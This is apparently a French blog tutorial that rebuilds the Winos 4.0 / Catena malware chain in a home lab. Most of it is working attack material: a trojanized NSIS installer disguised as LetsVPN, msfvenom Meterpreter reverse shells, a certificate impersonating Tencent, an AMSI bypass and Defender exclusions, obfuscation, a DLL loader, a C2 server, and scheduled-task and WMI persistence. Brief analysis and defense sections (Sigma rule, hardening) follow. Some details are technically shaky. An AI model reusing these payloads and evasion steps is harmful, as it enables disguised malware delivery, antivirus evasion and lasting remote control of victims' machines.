Introduction

Salut, Apache ! Bienvenue dans le *Grimoire Catena Sombre 2025*, ton katana pour hacker Winos 4.0 dans un lab sécurisé (10.0.0.0/8, 192.168.0.0/16). Inspiré par Silver Fox APT, Winos 4.0 est un monstre basé sur Gh0st RAT, utilisant Catena pour déployer des payloads en mémoire, esquiver les antivirus, et frapper avec précision. On va créer un installateur NSIS trojanisé, injecter du shellcode, parler à un C2 local, établir une persistance, et disséquer chaque morceau. Newbie ou pro, tu vas devenir un maître de l’ombre – toujours éthique ! 😈

Ce que tu vas apprendre :

Prêt à invoquer le chaos ? C’est parti ! 🚀

Lab only, Apache ! Ce tuto est pour ton terrain sécurisé. Toute action hors lab est illégale (article 323-1 CP). Signe le contrat !

Prérequis

Avant de hacker, prépare ton lab sécurisé :

Pour les newbies : Un lab, c’est ton bunker. Pas d’Internet, juste tes machines !

Étape 1 : Configurer ton Lab

Contexte : Chaque lab est unique. Voici comment t’adapter :

Commandes :

1. Configure les IPs :

# Sur Kali
sudo ip addr add 192.168.1.6/24 dev eth0
# Sur Windows (PowerShell)
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.1.7 -PrefixLength 24
# Sur Ubuntu
sudo ip addr add 192.168.1.8/24 dev eth0

2. Vérifie la connectivité :

ping 192.168.1.7 # Depuis Kali

Pour les newbies : Ton lab, c’est ta forteresse. Chaque machine a une adresse (IP), et elles doivent se parler.

Étape 3 : Créer l’Installateur NSIS Trojanisé

Contexte : Catena utilise un NSIS (ex. : faux LetsVPN) pour livrer Winos 4.0.

Prérequis :

Script NSIS (catena.nsi) :

; catena.nsi - Trojanized LetsVPN Installer
; Simule un installateur légitime
Name "LetsVPN"
OutFile "letsVPN.exe"
InstallDir "$PROGRAMFILES\LetsVPN"

Section
  ; Copie le shellcode
  SetOutPath $INSTDIR
  File /tmp/shellcode.bin
  ExecWait 'cmd.exe /c copy $INSTDIR\shellcode.bin %TEMP%\config.ini'
  ; Exécute via rundll32
  ExecWait 'rundll32.exe %TEMP%\config.ini, #1'
SectionEnd

Commandes :

1. Génère le shellcode :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f raw -o /tmp/shellcode.bin

2. Compile :

makensis /tmp/catena.nsi

3. Signe :

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=Tencent"
osslsigncode sign -certs cert.pem -key key.pem -n "LetsVPN" -i http://letsVPN.com -in letsVPN.exe -out letsVPN_signed.exe

4. Transfère :

sudo python3 -m http.server 80
# Sur Windows
Invoke-WebRequest -Uri http://192.168.1.6/letsVPN_signed.exe -OutFile letsVPN.exe

Explication : Le NSIS imite un logiciel légitime, cache le shellcode dans un `.ini`, et l’exécute.

Adaptation : Change $INSTDIR si ton disque est D:\. Pour un autre leurre, modifie Name.

Pour les newbies : Un NSIS, c’est un piège déguisé en cadeau. Il installe un faux logiciel tout en lançant un payload.

Étape 4 : Payload PowerShell

Contexte : Désactive Defender et vérifie 360 Total Security.

Prérequis :

Script PowerShell (payload.ps1) :

# payload.ps1 - Defender Exclusions & 360 Check
# Désactive AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Exclusions Defender
Add-MpPreference -ExclusionPath "C:\"
Add-MpPreference -ExecutionExtension ".exe",".dll",".ini"

# Vérifie 360 Total Security
$360 = Get-Process | Where-Object { $_.Name -like "*360*" }
if ($360) {
    Write-Host "360 Total Security détecté."
} else {
    Write-Host "Pas de 360 Total Security."
}

# Exécute shellcode
Start-Process rundll32.exe -ArgumentList "%TEMP%\config.ini, #1"

Commandes :

1. Obfusque :

git clone https://github.com/danielbohannon/Invoke-Obfuscation
cd Invoke-Obfuscation
./Invoke-Obfuscation.ps1 -ScriptPath /tmp/payload.ps1 -OutputFile /tmp/obf_payload.ps1

2. Transfère :

sudo python3 -m http.server 80
# Sur Windows
Invoke-WebRequest -Uri http://192.168.1.6/obf_payload.ps1 -OutFile obf_payload.ps1
powershell -ExecutionPolicy Bypass -File obf_payload.ps1

Explication : Désarme Defender, vérifie les AV, lance le shellcode.

Adaptation : Commente Add-MpPreference si Defender est off. Ajuste le check pour d’autres AV.

Pour les newbies : PowerShell, c’est ta baguette magique pour désarmer les défenses.

Étape 5 : Shellcode & Injection DLL Reflective

Contexte : Charge une DLL en mémoire pour éviter le disque.

Prérequis :

Script Loader C (loader.c) :

/* loader.c - Reflective DLL Loader */
#include 
#include 

typedef void (*DLLEntry)(void);

int main() {
    HANDLE hFile = CreateFileA("malicious.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID dllBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    DWORD bytesRead;
    ReadFile(hFile, dllBuffer, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    DLLEntry entryPoint = (DLLEntry)((LPBYTE)dllBuffer + 0x1000);
    entryPoint();
    return 0;
}

Commandes :

1. Génère la DLL :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f dll -o /tmp/malicious.dll

2. Compile le loader :

x86_64-w64-mingw32-gcc /tmp/loader.c -o /tmp/loader.exe

3. Configure Metasploit :

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

4. Transfère :

sudo python3 -m http.server 80
# Sur Windows
Invoke-WebRequest -Uri http://192.168.1.6/malicious.dll -OutFile malicious.dll
Invoke-WebRequest -Uri http://192.168.1.6/loader.exe -OutFile loader.exe
.\loader.exe

Explication : Le loader injecte la DLL en mémoire, simulant Winos 4.0.

Adaptation : Ajuste PAGE_EXECUTE_READWRITE si restrictions.

Pour les newbies : Une DLL reflective, c’est un ninja invisible.

Étape 6 : Configurer un C2 Local

Contexte : Simule un C2 sur TCP 18856.

Prérequis :

Script C2 (c2_server.py) :

# c2_server.py - Simulated Winos 4.0 C2
import socket
import threading

HOST = '192.168.1.8'
PORT = 18856

def handle_client(conn, addr):
    print(f"[C2] Connexion de {addr}")
    while True:
        data = conn.recv(1024).decode(errors='ignore')
        if not data:
            break
        print(f"[C2] Données reçues : {data}")
        conn.send("Commande reçue".encode())
    conn.close()

def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((HOST, PORT))
    server.listen(5)
    print(f"[C2] Écoute sur {HOST}:{PORT}")
    
    while True:
        conn, addr = server.accept()
        thread = threading.Thread(target=handle_client, args=(conn, addr))
        thread.start()

if __name__ == "__main__":
    main()

Commandes :

1. Lance le C2 :

python3 /tmp/c2_server.py

2. Modifie le shellcode :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=18856 -f raw -o /tmp/shellcode_c2.bin

Explication : Le C2 reçoit les données de la cible.

Adaptation : Utilise 443 si 18856 est bloqué.

Pour les newbies : Le C2, c’est ton QG qui contrôle la cible.

Étape 7 : Établir la Persistance

Contexte : Utilise WMI et tâches programmées.

Prérequis :

Commandes :

1. Tâche programmée :

schtasks /create /tn "DarkUpdate" /tr "rundll32.exe %TEMP%\config.ini, #1" /sc daily /st 00:00 /f

2. Persistance WMI :

wmic /NAMESPACE:\\root\subscription PATH __EventFilter CREATE Name="DarkFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

Explication : La tâche relance le payload, WMI assure une persistance furtive.

Adaptation : Change /sc daily pour /sc weekly.

Pour les newbies : La persistance, c’est un réveil qui garde le malware actif.

Étape 8 : Analyser l’Attaque

Contexte : Dissèque Winos 4.0.

Protocole d’analyse :

  1. Capture réseau : PCAP avec Wireshark.
  2. Analyse statique : PEiD, Detect It Easy.
  3. Analyse dynamique : ProcMon, API monitoring.
  4. Forensique mémoire : Volatility.

Commandes :

1. Capture :

sudo wireshark -i eth0 -f "tcp port 18856"
sudo tcpdump -i eth0 port 18856 -w /tmp/catena.pcap

2. Analyse statique :

peid malicious.dll

3. Forensique mémoire :

volatility -f memdump.vmem --profile=Win10x64 pslist

Explication : Wireshark capture le C2, PEiD identifie la DLL, Volatility révèle les processus cachés.

Adaptation : Utilise Suricata si pas de Snort.

Pour les newbies : Analyser, c’est autopsier un monstre.

Étape 9 : Construire des Défenses

Contexte : Protège ton lab.

Règles Sigma (sigma_rule.yml, Télécharger) :

detection:
  selection:
    EventID: 11
    TargetFilename|contains: 
      - '\\Temp\\config.ini'
      - '\\AppData\\Local\\Temp\\'
  condition: selection

Hardening PowerShell :

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force

Commandes :

1. Snort :

sudo snort -c /etc/snort/snort.conf -r /tmp/catena.pcap

2. Defender :

Set-MpPreference -DisableRealtimeMonitoring $false
Remove-MpPreference -ExclusionPath "C:\"

Contre-mesures :

Pour les newbies : Les défenses, c’est ton bouclier.

Étape 10 : Ressources

Fichiers pour hacker :

Étape 11 : Annexes Techniques

Cheat Sheet Réseau

tcpdump -ni eth0 'port 18856' -w catena.pcap

Forensique

Get-ScheduledTask | Where { $_.Actions.Execute -match "rundll32" }

Anatomie de Catena

Architecture CatenaNSIS → PowerShell → DLL Reflective → C2 (TCP 18856) → Persistence (WMI/Tâches)

Comparaison Malwares

TechniqueCatenaEmotetGh0st RAT
InjectionDLLProcessHook
PersistanceWMIRegistreService

Pédagogie Progressive

Rapport d’Analyse

## Findings
- IOC 1: [SHA256 du sample]
- IOC 2: [IP C2]
- TTP: [MITRE T1190]

Étape 12 : FAQ

Questions ? Réponses :

Étape 13 : Éthique – Snipers, pas Criminels

“Winos 4.0 est un savoir : hacke peu, protège beaucoup.” Défonce ton lab, sécurise le monde. Déclare tes failles, sois un Apache droit.

Pas de conneries ! Hors lab, c’est la taule.